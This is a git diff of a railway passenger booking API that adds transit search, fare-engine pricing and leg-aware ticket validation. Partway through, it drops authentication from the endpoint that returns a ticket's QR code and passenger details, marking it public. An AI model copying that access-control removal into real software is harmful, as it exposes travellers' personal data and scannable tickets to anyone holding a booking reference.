--- a/apps/edr-passenger-api/src/modules/search/search.dto.ts
+++ b/apps/edr-passenger-api/src/modules/search/search.dto.ts
@@ -71,27 +71,38 @@ export class FareQuoteDto {
}
export class CoachTypeOptionClass {
- @ApiProperty({ example: 'Economy Regular', description: 'Seat class name' })
- name: string;
-
- @ApiProperty({ example: 35000, description: 'Base fare in ETB minor units per passenger' })
- baseFareMinor: number;
+ @ApiProperty({ example: 'Economy Regular' }) name: string;
+ @ApiProperty({ example: 35000 }) baseFareMinor: number;
}
export class CoachTypeOption {
- @ApiProperty({ example: 'coach-type-uuid', description: 'Coach type unique identifier' })
- coachTypeId: string;
-
- @ApiProperty({ example: 'Economy', description: 'Coach type display name' })
- coachTypeName: string;
-
- @ApiProperty({ example: 'ECO', description: 'Coach type code' })
- coachTypeCode: string;
-
- @ApiProperty({
- type: 'array',
- items: { type: 'object', $ref: '#/components/schemas/CoachTypeOptionClass' },
- description: 'Available seat classes within this coach type with base fares. User selects specific class at seat selection page.',
- })
- classes: CoachTypeOptionClass[];
+ @ApiProperty({ example: 'coach-type-uuid' }) coachTypeId: string;
+ @ApiProperty({ example: 'Economy' }) coachTypeName: string;
+ @ApiProperty({ example: 'ECO' }) coachTypeCode: string;
+ @ApiProperty({ type: 'array', items: { type: 'object', $ref: '#/components/schemas/CoachTypeOptionClass' } }) classes: CoachTypeOptionClass[];
+}
+
+export class TransitLegDto {
+ @ApiProperty({ example: 'schedule-uuid' }) scheduleId: string;
+ @ApiProperty() trainNumber: string;
+ @ApiProperty() trainName: string;
+ @ApiProperty() origin: object;
+ @ApiProperty() destination: object;
+ @ApiProperty() departureAt: Date;
+ @ApiProperty() arrivalAt: Date;
+ @ApiProperty() durationMinutes: number;
+ @ApiProperty() availabilityByClass: object;
+ @ApiProperty() faresByClass: object[];
+ @ApiProperty() coachTypes: CoachTypeOption[];
+}
+
+export class TransitResultDto {
+ @ApiProperty({ example: 'TRANSIT' }) type: string;
+ @ApiProperty({ example: 'station-uuid' }) transitStationId: string;
+ @ApiProperty({ example: 'Dire Dawa' }) transitStationName: string;
+ @ApiProperty({ description: 'Connection wait time in minutes' }) connectionMinutes: number;
+ @ApiProperty({ type: TransitLegDto }) leg1: TransitLegDto;
+ @ApiProperty({ type: TransitLegDto }) leg2: TransitLegDto;
+ @ApiProperty({ description: 'Combined minimum fare across all shared classes', example: 70000 }) combinedMinFareMinor: number;
+ @ApiProperty({ description: 'Total travel time including connection in minutes' }) totalDurationMinutes: number;
}
diff --git a/apps/edr-passenger-api/src/modules/search/search.service.ts b/apps/edr-passenger-api/src/modules/search/search.service.ts
index 7d237c18b..9087ee7ac 100644
--- a/apps/edr-passenger-api/src/modules/search/search.service.ts
+++ b/apps/edr-passenger-api/src/modules/search/search.service.ts
@@ -18,31 +18,54 @@ export class SearchService {
) {}
async searchTrips(dto: SearchTripsDto) {
- const outbound = await this.searchSchedules(
- dto.originStationId,
- dto.destinationStationId,
- dto.date,
- dto.adultCount,
- dto.childCount,
- dto.nationality,
- );
-
- if (dto.journeyType === 'ROUND_TRIP') {
- const allInbound = await this.searchSchedules(
- dto.destinationStationId,
+ const [direct, transit] = await Promise.all([
+ this.searchSchedules(
dto.originStationId,
- dto.returnDate ?? dto.date,
+ dto.destinationStationId,
+ dto.date,
dto.adultCount,
dto.childCount,
dto.nationality,
- );
+ ),
+ this.searchTransitOptions(
+ dto.originStationId,
+ dto.destinationStationId,
+ dto.date,
+ dto.adultCount,
+ dto.childCount,
+ dto.nationality,
+ ),
+ ]);
+ const outbound = [...direct, ...transit];
+
+ if (dto.journeyType === 'ROUND_TRIP') {
+ const [returnDirect, returnTransit] = await Promise.all([
+ this.searchSchedules(
+ dto.destinationStationId,
+ dto.originStationId,
+ dto.returnDate ?? dto.date,
+ dto.adultCount,
+ dto.childCount,
+ dto.nationality,
+ ),
+ this.searchTransitOptions(
+ dto.destinationStationId,
+ dto.originStationId,
+ dto.returnDate ?? dto.date,
+ dto.adultCount,
+ dto.childCount,
+ dto.nationality,
+ ),
+ ]);
+
+ const allReturn = [...returnDirect, ...returnTransit];
const latestOutboundArrival = outbound.length > 0
- ? Math.max(...outbound.map((s) => new Date(s.arrivalAt).getTime()))
+ ? Math.max(...outbound.map((s: any) => new Date(s.arrivalAt ?? s.leg2?.arrivalAt).getTime()))
: Date.now();
- const inbound = allInbound.filter((schedule) =>
- new Date(schedule.departureAt).getTime() > latestOutboundArrival
+ const inbound = allReturn.filter((s: any) =>
+ new Date(s.departureAt ?? s.leg1?.departureAt).getTime() > latestOutboundArrival
);
return { journeyType: 'ROUND_TRIP', outbound, inbound };
@@ -60,7 +83,7 @@ export class SearchService {
nationality?: string,
) {
const [y, m, d] = dateStr.split('-').map(Number);
- const date = new Date(y, m - 1, d, 0, 0, 0, 0);
+ const date = new Date(y, m - 1, d, 0, 0, 0, 0);
const nextDay = new Date(y, m - 1, d + 1, 0, 0, 0, 0);
const totalPassengers = adultCount + (childCount ?? 0);
@@ -81,126 +104,211 @@ export class SearchService {
},
});
- const results = [];
-
+ const results: any[] = [];
for (const schedule of schedules) {
- const originStop = schedule.stopTimes.find((s: any) => s.stationId === originStationId);
- const destStop = schedule.stopTimes.find((s: any) => s.stationId === destinationStationId);
+ const result = await this.buildScheduleResult(schedule, originStationId, destinationStationId, totalPassengers, nationality);
+ if (result) results.push(result);
+ }
+ return results;
+ }
- if (!originStop || !destStop || originStop.sequence >= destStop.sequence) continue;
+ // ── Transit search ─────────────────────────────────────────────────────────
+ // Finds pairs of schedules (leg1: origin→transit, leg2: transit→destination)
+ // where the passenger has between MIN_CONNECTION and MAX_CONNECTION minutes
+ // to change trains at the transit station.
+ private readonly MIN_CONNECTION_MINUTES = 30;
+ private readonly MAX_CONNECTION_MINUTES = 360;
- const availabilityByClass: Record = {};
+ private async searchTransitOptions(
+ originStationId: string,
+ destinationStationId: string,
+ dateStr: string,
+ adultCount: number,
+ childCount?: number,
+ nationality?: string,
+ ) {
+ // Find all stations that can serve as transit points:
+ // they must be a stop after origin on some schedule AND
+ // a stop before destination on another schedule on the same day.
+ const [y, m, d] = dateStr.split('-').map(Number);
+ const dayStart = new Date(y, m - 1, d, 0, 0, 0, 0);
+ const dayEnd = new Date(y, m - 1, d + 1, 0, 0, 0, 0);
+ const totalPassengers = adultCount + (childCount ?? 0);
- for (const assignment of schedule.coachAssignments) {
- const seatClassNames = assignment.coach.coachType?.seatClasses?.map((sc: any) => sc.name) || ['Standard'];
- const isBedCoach = assignment.coach.seats.some((s: any) => s.bedPosition);
+ // Load all schedules on this date that pass through origin
+ const leg1Schedules = await this.prisma.trainSchedule.findMany({
+ where: {
+ status: { in: ['SCHEDULED', 'BOARDING'] },
+ departureAt: { gte: dayStart, lt: dayEnd },
+ stopTimes: { some: { stationId: originStationId } },
+ },
+ include: {
+ train: true,
+ originStation: true,
+ destinationStation: true,
+ stopTimes: { include: { station: true }, orderBy: { sequence: 'asc' } },
+ coachAssignments: {
+ include: { coach: { include: { seats: true, coachType: { include: { seatClasses: true } } } } },
+ },
+ },
+ });
- if (isBedCoach) {
- const bedPositions = ['upper', 'middle', 'lower'];
- for (const bedPosition of bedPositions) {
- let count = 0;
- for (const seat of assignment.coach.seats) {
- if (seat.bedPosition !== bedPosition) continue;
- if (seat.status === 'BLOCKED') continue;
- if (!seat.seatNumber || !seat.seatNumber.trim()) continue;
+ const results: any[] = [];
- const free = await this.segmentsService.isSeatFreeForLeg(
- schedule.id, seat.id,
- originStop.sequence, destStop.sequence,
- );
- if (free) count++;
- }
+ for (const leg1 of leg1Schedules) {
+ const originStop = leg1.stopTimes.find((s: any) => s.stationId === originStationId);
+ if (!originStop) continue;
- if (count > 0) {
- const matchingClass = seatClassNames.find((className: string) => {
- const classNameLower = className.toLowerCase();
- return (
- (bedPosition === 'upper' && classNameLower.includes('upper')) ||
- (bedPosition === 'middle' && classNameLower.includes('middle')) ||
- (bedPosition === 'lower' && classNameLower.includes('lower'))
- );
- });
- if (matchingClass) {
- if (!availabilityByClass[matchingClass]) availabilityByClass[matchingClass] = 0;
- availabilityByClass[matchingClass] += count;
- }
- }
- }
- } else {
- let availableSeatsInCoach = 0;
- for (const seat of assignment.coach.seats) {
- if (seat.status === 'BLOCKED') continue;
- if (!seat.seatNumber || !seat.seatNumber.trim()) continue;
-
- const free = await this.segmentsService.isSeatFreeForLeg(
- schedule.id, seat.id,
- originStop.sequence, destStop.sequence,
- );
- if (free) availableSeatsInCoach++;
- }
-
- for (const seatClassName of seatClassNames) {
- if (!availabilityByClass[seatClassName]) availabilityByClass[seatClassName] = 0;
- availabilityByClass[seatClassName] += availableSeatsInCoach;
- }
- }
- }
-
- const legDepartureAt = originStop.plannedDepartureAt ?? schedule.departureAt;
- const legArrivalAt = destStop.plannedArrivalAt ?? schedule.arrivalAt;
-
- const faresByClass = await this.calculateFaresForSegment(
- schedule,
- originStationId,
- destinationStationId,
- nationality,
+ // Every stop after origin on leg1 is a candidate transit station
+ const candidateTransitStops = leg1.stopTimes.filter(
+ (s: any) => s.sequence > originStop.sequence,
);
- const coachTypes = await this.buildCoachTypeDetails(schedule, faresByClass);
+ for (const transitStop of candidateTransitStops) {
+ // leg1 must NOT already contain the final destination
+ const leg1HasDest = leg1.stopTimes.some((s: any) => s.stationId === destinationStationId);
+ if (leg1HasDest) continue; // direct route exists — already returned by searchSchedules
- results.push({
- scheduleId: schedule.id,
- trainNumber: schedule.train.number,
- trainName: schedule.train.name,
- origin: {
- id: originStop.stationId,
- code: originStop.station.code,
- name: originStop.station.name,
- city: originStop.station.city,
- sequence: originStop.sequence,
- },
- destination: {
- id: destStop.stationId,
- code: destStop.station.code,
- name: destStop.station.name,
- city: destStop.station.city,
- sequence: destStop.sequence,
- },
- departureAt: legDepartureAt,
- arrivalAt: legArrivalAt,
- durationMinutes: Math.round(
- (new Date(legArrivalAt).getTime() - new Date(legDepartureAt).getTime()) / 60_000,
- ),
- status: schedule.status,
- stops: schedule.stopTimes
- .filter((st: any) => st.sequence >= originStop.sequence && st.sequence <= destStop.sequence)
- .map((st: any) => ({
- stationId: st.stationId,
- stationName: st.station.name,
- sequence: st.sequence,
- plannedArrivalAt: st.plannedArrivalAt,
- plannedDepartureAt: st.plannedDepartureAt,
- })),
- availabilityByClass,
- hasAvailability: Object.values(availabilityByClass).some(n => n >= totalPassengers),
- faresByClass,
- coachTypes,
- });
+ const transitStationId = transitStop.stationId;
+ const leg1ArrivalAt = transitStop.plannedArrivalAt ?? transitStop.plannedDepartureAt ?? leg1.arrivalAt;
+
+ // Find leg2 schedules departing from the transit station within the connection window,
+ // and reaching the final destination. Search up to the next calendar day to handle
+ // overnight connections.
+ const connWindowStart = new Date(new Date(leg1ArrivalAt).getTime() + this.MIN_CONNECTION_MINUTES * 60_000);
+ const connWindowEnd = new Date(new Date(leg1ArrivalAt).getTime() + this.MAX_CONNECTION_MINUTES * 60_000);
+
+ const leg2Schedules = await this.prisma.trainSchedule.findMany({
+ where: {
+ status: { in: ['SCHEDULED', 'BOARDING'] },
+ departureAt: { gte: connWindowStart, lte: connWindowEnd },
+ stopTimes: { some: { stationId: transitStationId } },
+ },
+ include: {
+ train: true,
+ originStation: true,
+ destinationStation: true,
+ stopTimes: { include: { station: true }, orderBy: { sequence: 'asc' } },
+ coachAssignments: {
+ include: { coach: { include: { seats: true, coachType: { include: { seatClasses: true } } } } },
+ },
+ },
+ });
+
+ for (const leg2 of leg2Schedules) {
+ const leg2TransitStop = leg2.stopTimes.find((s: any) => s.stationId === transitStationId);
+ const leg2DestStop = leg2.stopTimes.find((s: any) => s.stationId === destinationStationId);
+
+ if (!leg2TransitStop || !leg2DestStop) continue;
+ if (leg2TransitStop.sequence >= leg2DestStop.sequence) continue;
+
+ // Build individual leg result objects (reuse existing per-schedule logic)
+ const [leg1Result, leg2Result] = await Promise.all([
+ this.buildScheduleResult(leg1, originStationId, transitStationId, totalPassengers, nationality),
+ this.buildScheduleResult(leg2, transitStationId, destinationStationId, totalPassengers, nationality),
+ ]);
+
+ if (!leg1Result || !leg2Result) continue;
+ if (!leg1Result.hasAvailability || !leg2Result.hasAvailability) continue;
+
+ const leg2DepartureAt = leg2TransitStop.plannedDepartureAt ?? leg2.departureAt;
+ const connectionMinutes = Math.round(
+ (new Date(leg2DepartureAt).getTime() - new Date(leg1ArrivalAt).getTime()) / 60_000,
+ );
+
+ const leg1MinFare = Math.min(...(leg1Result.faresByClass as any[]).map((f: any) => f.baseFareMinor).filter((n: number) => n > 0), Infinity);
+ const leg2MinFare = Math.min(...(leg2Result.faresByClass as any[]).map((f: any) => f.baseFareMinor).filter((n: number) => n > 0), Infinity);
+ const combinedMinFareMinor = (isFinite(leg1MinFare) ? leg1MinFare : 0) + (isFinite(leg2MinFare) ? leg2MinFare : 0);
+
+ results.push({
+ type: 'TRANSIT',
+ transitStationId,
+ transitStationName: transitStop.station.name,
+ connectionMinutes,
+ leg1: leg1Result,
+ leg2: leg2Result,
+ combinedMinFareMinor,
+ // Convenience top-level fields so round-trip filter can read them uniformly
+ departureAt: leg1Result.departureAt,
+ arrivalAt: leg2Result.arrivalAt,
+ totalDurationMinutes:
+ leg1Result.durationMinutes + connectionMinutes + leg2Result.durationMinutes,
+ });
+ }
+ }
}
return results;
}
+ // Builds the same result shape as searchSchedules for a single schedule+leg,
+ // extracted so both direct and transit paths share identical output.
+ private async buildScheduleResult(
+ schedule: any,
+ originStationId: string,
+ destinationStationId: string,
+ totalPassengers: number,
+ nationality?: string,
+ ) {
+ const originStop = schedule.stopTimes.find((s: any) => s.stationId === originStationId);
+ const destStop = schedule.stopTimes.find((s: any) => s.stationId === destinationStationId);
+ if (!originStop || !destStop || originStop.sequence >= destStop.sequence) return null;
+
+ const availabilityByClass: Record = {};
+ for (const assignment of schedule.coachAssignments) {
+ const seatClassNames = assignment.coach.coachType?.seatClasses?.map((sc: any) => sc.name) || ['Standard'];
+ const isBedCoach = assignment.coach.seats.some((s: any) => s.bedPosition);
+
+ if (isBedCoach) {
+ for (const bedPosition of ['upper', 'middle', 'lower']) {
+ let count = 0;
+ for (const seat of assignment.coach.seats) {
+ if (seat.bedPosition !== bedPosition || seat.status === 'BLOCKED' || !seat.seatNumber?.trim()) continue;
+ const free = await this.segmentsService.isSeatFreeForLeg(schedule.id, seat.id, originStop.sequence, destStop.sequence);
+ if (free) count++;
+ }
+ if (count > 0) {
+ const matchingClass = seatClassNames.find((n: string) => n.toLowerCase().includes(bedPosition));
+ if (matchingClass) availabilityByClass[matchingClass] = (availabilityByClass[matchingClass] ?? 0) + count;
+ }
+ }
+ } else {
+ let available = 0;
+ for (const seat of assignment.coach.seats) {
+ if (seat.status === 'BLOCKED' || !seat.seatNumber?.trim()) continue;
+ const free = await this.segmentsService.isSeatFreeForLeg(schedule.id, seat.id, originStop.sequence, destStop.sequence);
+ if (free) available++;
+ }
+ for (const name of seatClassNames) availabilityByClass[name] = (availabilityByClass[name] ?? 0) + available;
+ }
+ }
+
+ const faresByClass = await this.calculateFaresForSegment(schedule, originStationId, destinationStationId, nationality);
+ const coachTypes = await this.buildCoachTypeDetails(schedule, faresByClass);
+ const legDepartureAt = originStop.plannedDepartureAt ?? schedule.departureAt;
+ const legArrivalAt = destStop.plannedArrivalAt ?? schedule.arrivalAt;
+
+ return {
+ type: 'DIRECT',
+ scheduleId: schedule.id,
+ trainNumber: schedule.train.number,
+ trainName: schedule.train.name,
+ origin: { id: originStop.stationId, code: originStop.station.code, name: originStop.station.name, city: originStop.station.city, sequence: originStop.sequence },
+ destination: { id: destStop.stationId, code: destStop.station.code, name: destStop.station.name, city: destStop.station.city, sequence: destStop.sequence },
+ departureAt: legDepartureAt,
+ arrivalAt: legArrivalAt,
+ durationMinutes: Math.round((new Date(legArrivalAt).getTime() - new Date(legDepartureAt).getTime()) / 60_000),
+ status: schedule.status,
+ stops: schedule.stopTimes
+ .filter((st: any) => st.sequence >= originStop.sequence && st.sequence <= destStop.sequence)
+ .map((st: any) => ({ stationId: st.stationId, stationName: st.station.name, sequence: st.sequence, plannedArrivalAt: st.plannedArrivalAt, plannedDepartureAt: st.plannedDepartureAt })),
+ availabilityByClass,
+ hasAvailability: Object.values(availabilityByClass).some(n => n >= totalPassengers),
+ faresByClass,
+ coachTypes,
+ };
+ }
+
async getFareQuote(dto: FareQuoteDto) {
const schedule = await this.prisma.trainSchedule.findUnique({
where: { id: dto.scheduleId },
@@ -244,7 +352,8 @@ export class SearchService {
nationality,
);
- const baseFareMinor = bestMatch?.baseFareMinor ?? this.defaultFare(dto.seatClassName);
+ const baseFareMinor = bestMatch?.baseFareMinor
+ ?? await this.resolveScheduleFare(dto.scheduleId, seatClass?.id, dto.seatClassName);
const adultCount = dto.adultCount;
const childCount = dto.childCount ?? 0;
@@ -332,6 +441,7 @@ export class SearchService {
destinationStationId,
seatClassId: sc.id,
nationality,
+ scheduleId: schedule.id,
});
return {
seatClassName: fare.seatClassName,
@@ -379,11 +489,8 @@ export class SearchService {
}
}
- console.log(`No fares found, using defaults for ${originStationId} to ${destinationStationId}`);
- return seatClasses.map(sc => ({
- seatClassName: sc.name,
- baseFareMinor: this.getDefaultFareForClass(sc.name),
- }));
+ console.log(`No fares found via engine or rules for ${originStationId} to ${destinationStationId}`);
+ return [];
}
private async buildCoachTypeDetails(
@@ -393,11 +500,12 @@ export class SearchService {
coachTypeId: string;
coachTypeName: string;
coachTypeCode: string;
+ coachId: string;
classes: Array<{ name: string; baseFareMinor: number }>;
}>> {
const coachTypeMap = new Map<
string,
- { coachType: any; classNames: Set }
+ { coachType: any; classNames: Set; coachId: string }
>();
for (const assignment of schedule.coachAssignments) {
@@ -408,6 +516,7 @@ export class SearchService {
coachTypeMap.set(coachType.id, {
coachType,
classNames: new Set(),
+ coachId: assignment.coach.id,
});
}
@@ -416,21 +525,21 @@ export class SearchService {
}
const result = [];
- for (const [, { coachType, classNames }] of coachTypeMap) {
+ for (const [, { coachType, classNames, coachId }] of coachTypeMap) {
const classes = Array.from(classNames)
.map((className) => {
const fareInfo = faresByClass.find((f) => f.seatClassName === className);
- return {
- name: className,
- baseFareMinor: fareInfo?.baseFareMinor ?? this.getDefaultFareForClass(className),
- };
+ if (!fareInfo) return null;
+ return { name: className, baseFareMinor: fareInfo.baseFareMinor };
})
+ .filter((c): c is { name: string; baseFareMinor: number } => c !== null)
.sort((a, b) => a.baseFareMinor - b.baseFareMinor);
result.push({
coachTypeId: coachType.id,
coachTypeName: coachType.name,
coachTypeCode: coachType.code,
+ coachId,
classes,
});
}
@@ -442,22 +551,28 @@ export class SearchService {
});
}
- private getDefaultFareForClass(className: string): number {
- const defaults: Record = {
- 'Economy Regular': 35000,
- 'Economy Bed': 49000,
- 'VIP Bed': 63000,
- };
- return defaults[className] ?? 35000;
+ private async resolveScheduleFare(scheduleId: string, seatClassId?: string, seatClassName?: string): Promise {
+ if (!seatClassId) throw new NotFoundException(`Seat class '${seatClassName}' not found`);
+ const schedule = await this.prisma.trainSchedule.findUnique({
+ where: { id: scheduleId },
+ select: { routeId: true, originStationId: true, destinationStationId: true },
+ });
+ if (!schedule?.routeId) throw new NotFoundException('Schedule has no route configured for fare calculation');
+ const fare = await this.fareEngine.calculate({
+ routeId: schedule.routeId,
+ originStationId: schedule.originStationId,
+ destinationStationId: schedule.destinationStationId,
+ seatClassId,
+ });
+ return fare.baseFarePerPassengerMinor;
}
- private defaultFare(seatClassName: string): number {
- const fares: Record = {
- 'Economy Regular': 45000,
- 'Economy Bed': 65000,
- 'VIP Bed': 95000,
- };
- return fares[seatClassName] ?? 45000;
+ private getDefaultFareForClass(_className: string): never {
+ throw new Error('getDefaultFareForClass should not be called — use resolveScheduleFare instead');
+ }
+
+ private defaultFare(_seatClassName: string): never {
+ throw new Error('defaultFare should not be called — use resolveScheduleFare instead');
}
private selectBestFareRule(
diff --git a/apps/edr-passenger-api/src/modules/seats/seats.service.spec.ts b/apps/edr-passenger-api/src/modules/seats/seats.service.spec.ts
index 2a3b84539..2c4215dc8 100644
--- a/apps/edr-passenger-api/src/modules/seats/seats.service.spec.ts
+++ b/apps/edr-passenger-api/src/modules/seats/seats.service.spec.ts
@@ -62,7 +62,7 @@ describe('SeatsService - Auto Assign', () => {
mockPrisma.seat.findMany.mockResolvedValue(mockSeats);
- const result = await service.autoAssignSeats('trip-1', 2, 'ECONOMY_REGULAR', 'ACCESSIBLE');
+ const result = await service.autoAssignSeats('trip-1', 2, 'ECONOMY_REGULAR');
expect(result).toHaveLength(2);
});
diff --git a/apps/edr-passenger-api/src/modules/seats/seats.service.ts b/apps/edr-passenger-api/src/modules/seats/seats.service.ts
index 88f9666bd..21060b595 100644
--- a/apps/edr-passenger-api/src/modules/seats/seats.service.ts
+++ b/apps/edr-passenger-api/src/modules/seats/seats.service.ts
@@ -547,16 +547,14 @@ export class SeatsService {
@Cron(CronExpression.EVERY_MINUTE)
async expireHolds() {
- const expired = await this.prisma.seatHold.findMany({ where: { expiresAt: { lt: new Date() } } });
- for (const hold of expired) {
+ const now = new Date();
+ const expired = await this.prisma.seatHold.findMany({ where: { expiresAt: { lt: now } } });
+ if (expired.length === 0) return;
+
+ const expiredIds = expired.map(h => h.id);
+ for (const hold of expired) {
await this.releaseSeats(hold.seatIds);
- try {
- await this.prisma.seatHold.delete({ where: { id: hold.id } });
- } catch (err) {
- if (err instanceof Error && !err.message.includes('P2025')) {
- throw err;
- }
- }
}
+ await this.prisma.seatHold.deleteMany({ where: { id: { in: expiredIds } } });
}
}
diff --git a/apps/edr-passenger-api/src/modules/tickets/tickets.controller.ts b/apps/edr-passenger-api/src/modules/tickets/tickets.controller.ts
index e7760b565..d4d68ad1f 100644
--- a/apps/edr-passenger-api/src/modules/tickets/tickets.controller.ts
+++ b/apps/edr-passenger-api/src/modules/tickets/tickets.controller.ts
@@ -1,5 +1,5 @@
import { Body, Controller, Get, Param, Post, Query, UseGuards, Delete, Patch } from '@nestjs/common';
-import { ApiTags, ApiOperation, ApiBearerAuth } from '@nestjs/swagger';
+import { ApiTags, ApiOperation, ApiBearerAuth, ApiBody, ApiQuery } from '@nestjs/swagger';
import { TicketsService } from './tickets.service';
import { JwtGuard } from '../../common/jwt.guard';
@@ -30,15 +30,28 @@ export class TicketsController {
@UseGuards(JwtGuard)
@ApiBearerAuth('JWT-auth')
@ApiOperation({ summary: 'List all tickets with optional filters' })
+ @ApiQuery({ name: 'search', required: false })
+ @ApiQuery({ name: 'status', required: false })
+ @ApiQuery({ name: 'originStationId', required: false })
+ @ApiQuery({ name: 'destinationStationId', required: false })
+ @ApiQuery({ name: 'arrivalDate', required: false })
+ @ApiQuery({ name: 'skip', required: false })
+ @ApiQuery({ name: 'take', required: false })
listTickets(
@Query('search') search?: string,
@Query('status') status?: string,
+ @Query('originStationId') originStationId?: string,
+ @Query('destinationStationId') destinationStationId?: string,
+ @Query('arrivalDate') arrivalDate?: string,
@Query('skip') skip?: string,
@Query('take') take?: string,
) {
return this.service.listTickets({
search,
status,
+ originStationId,
+ destinationStationId,
+ arrivalDate,
skip: skip ? parseInt(skip) : 0,
take: take ? parseInt(take) : 50,
});
@@ -56,17 +69,8 @@ export class TicketsController {
}
@Get(':bookingRef')
- @UseGuards(JwtGuard)
- @ApiBearerAuth('JWT-auth')
@ApiOperation({
- summary: 'Get ticket with QR code and passenger details',
- description: `Returns ticket information including:
-- QR code for gate scanning
-- Barcode for offline validation
-- Passenger details (name, age category, nationality)
-- Journey details (origin, destination, seat, coach)
-- Fare breakdown with currency
-- PDF download link`
+ summary: 'Get ticket with QR code and passenger details (public)',
})
getByRef(@Param('bookingRef') ref: string) {
return this.service.getByRef(ref);
@@ -77,14 +81,30 @@ export class TicketsController {
@ApiBearerAuth('JWT-auth')
@ApiOperation({
summary: 'Validate ticket at gate with audit logging',
- description: 'Validates ticket QR/barcode at station gate. Records validation in audit log with timestamp, gate, and validator.'
+ description: 'Validates ticket QR/barcode at station gate. For round-trip bookings, supply `leg` (OUTBOUND or RETURN) to record which leg is being used. Defaults to OUTBOUND if omitted. Records validation in audit log with timestamp, gate, and validator.'
+ })
+ @ApiBody({
+ schema: {
+ type: 'object',
+ required: ['validatorId'],
+ properties: {
+ validatorId: { type: 'string', example: 'agent-uuid' },
+ gateId: { type: 'string', example: 'gate-01' },
+ leg: {
+ type: 'string',
+ enum: ['OUTBOUND', 'RETURN', 'LEG1', 'LEG2', 'OUTBOUND_LEG1', 'OUTBOUND_LEG2', 'RETURN_LEG1', 'RETURN_LEG2'],
+ description: 'ONE_WAY: omit | TRANSIT: LEG1/LEG2 | ROUND_TRIP: OUTBOUND/RETURN | ROUND_TRIP_TRANSIT: OUTBOUND_LEG1/OUTBOUND_LEG2/RETURN_LEG1/RETURN_LEG2',
+ },
+ },
+ },
})
validate(
- @Param('bookingRef') ref: string,
+ @Param('bookingRef') ref: string,
@Body('validatorId') validatorId: string,
- @Body('gateId') gateId?: string
- ) {
- return this.service.validate(ref, validatorId, gateId);
+ @Body('gateId') gateId?: string,
+ @Body('leg') leg?: string,
+ ) {
+ return this.service.validate(ref, validatorId, gateId, leg);
}
@Get(':ticketId/validation-logs')
@@ -106,7 +126,31 @@ export class TicketsController {
@Post('validate/offline')
@UseGuards(JwtGuard)
@ApiBearerAuth('JWT-auth')
- @ApiOperation({ summary: 'Batch import offline validations' })
+ @ApiOperation({
+ summary: 'Batch import offline validations',
+ description: 'Processes validations collected offline. Each entry may include an optional `leg` field (OUTBOUND | RETURN) for round-trip tickets. Deduplication is per bookingRef+leg combination so both legs of the same booking can be submitted in one batch.'
+ })
+ @ApiBody({
+ schema: {
+ type: 'object',
+ properties: {
+ validations: {
+ type: 'array',
+ items: {
+ type: 'object',
+ required: ['bookingRef', 'validatorId', 'validatedAt'],
+ properties: {
+ bookingRef: { type: 'string' },
+ validatorId: { type: 'string' },
+ gateId: { type: 'string' },
+ validatedAt: { type: 'string', format: 'date-time' },
+ leg: { type: 'string', enum: ['OUTBOUND', 'RETURN', 'LEG1', 'LEG2', 'OUTBOUND_LEG1', 'OUTBOUND_LEG2', 'RETURN_LEG1', 'RETURN_LEG2'] },
+ },
+ },
+ },
+ },
+ },
+ })
validateOfflineBatch(@Body() body: { validations: any[] }) {
return this.service.validateOfflineBatch(body.validations);
}
diff --git a/apps/edr-passenger-api/src/modules/tickets/tickets.service.ts b/apps/edr-passenger-api/src/modules/tickets/tickets.service.ts
index de9bdf4b5..4cf4ce9d3 100644
--- a/apps/edr-passenger-api/src/modules/tickets/tickets.service.ts
+++ b/apps/edr-passenger-api/src/modules/tickets/tickets.service.ts
@@ -7,13 +7,14 @@ interface OfflineValidation {
validatorId: string;
gateId?: string;
validatedAt: string;
+ leg?: string;
}
@Injectable()
export class TicketsService {
constructor(private prisma: PrismaService) {}
- async listTickets(filters: { search?: string; status?: string; skip: number; take: number }) {
+ async listTickets(filters: { search?: string; status?: string; originStationId?: string; destinationStationId?: string; arrivalDate?: string; skip: number; take: number }) {
const where: any = {};
if (filters.search) {
where.OR = [
@@ -23,7 +24,19 @@ export class TicketsService {
];
}
if (filters.status) {
- where.booking = { status: filters.status };
+ where.booking = { ...where.booking, status: filters.status };
+ }
+ if (filters.originStationId) {
+ where.booking = { ...where.booking, schedule: { ...where.booking?.schedule, originStationId: filters.originStationId } };
+ }
+ if (filters.destinationStationId) {
+ where.booking = { ...where.booking, schedule: { ...where.booking?.schedule, destinationStationId: filters.destinationStationId } };
+ }
+ if (filters.arrivalDate) {
+ const start = new Date(filters.arrivalDate);
+ const end = new Date(filters.arrivalDate);
+ end.setDate(end.getDate() + 1);
+ where.booking = { ...where.booking, schedule: { ...where.booking?.schedule, arrivalAt: { gte: start, lt: end } } };
}
const tickets = await this.prisma.ticket.findMany({
where,
@@ -31,7 +44,7 @@ export class TicketsService {
booking: {
include: {
schedule: { include: { originStation: true, destinationStation: true, train: true } },
- seats: { include: { seat: { include: { coach: true } } } },
+ seats: { include: { seat: { include: { coach: { include: { coachType: true } } } } } },
passenger: { include: { user: true } },
},
},
@@ -49,6 +62,10 @@ export class TicketsService {
booking: {
bookingRef: t.booking.bookingRef,
status: t.booking.status,
+ bookingType: t.booking.bookingType,
+ returnLegStatus: (t.booking as any).returnLegStatus ?? null,
+ outboundBoardedAt: (t.booking as any).outboundBoardedAt ?? null,
+ returnBoardedAt: (t.booking as any).returnBoardedAt ?? null,
totalMinor: t.booking.totalMinor,
currency: t.booking.currency,
displayCurrency: t.booking.displayCurrency,
@@ -69,48 +86,65 @@ export class TicketsService {
}
async generate(bookingId: string) {
- if (!bookingId) {
- throw new BadRequestException('Booking ID is required');
- }
-
+ if (!bookingId) throw new BadRequestException('Booking ID is required');
+
const booking = await this.prisma.booking.findUnique({
where: { id: bookingId },
- include: {
- schedule: { include: { originStation: true, destinationStation: true, train: true } },
- seats: { include: { seat: { include: { coach: true } } } }
+ include: {
+ schedule: { include: { originStation: true, destinationStation: true, train: true } },
+ seats: { include: { seat: { include: { coach: true } } } },
},
});
if (!booking) throw new NotFoundException(`Booking ${bookingId} not found`);
-
- const qrPayload = await QRCode.toDataURL(`edr:tkt:${booking.id}:${booking.bookingRef}`);
+
+ // Build a compact multi-leg payload for the QR so gate scanners see all legs
+ const legSummary = this.buildLegSummary(booking);
+ const qrData = JSON.stringify({
+ ref: booking.bookingRef,
+ type: booking.bookingType,
+ legs: legSummary,
+ });
+ const qrPayload = await QRCode.toDataURL(qrData);
const barcodePayload = `EDR${booking.bookingRef}${booking.id.substring(0, 8).toUpperCase()}`;
-
+
const ticket = await this.prisma.ticket.upsert({
- where: { bookingId },
+ where: { bookingId },
update: { qrPayload, barcodePayload },
create: { bookingId, bookingRef: booking.bookingRef, qrPayload, barcodePayload },
});
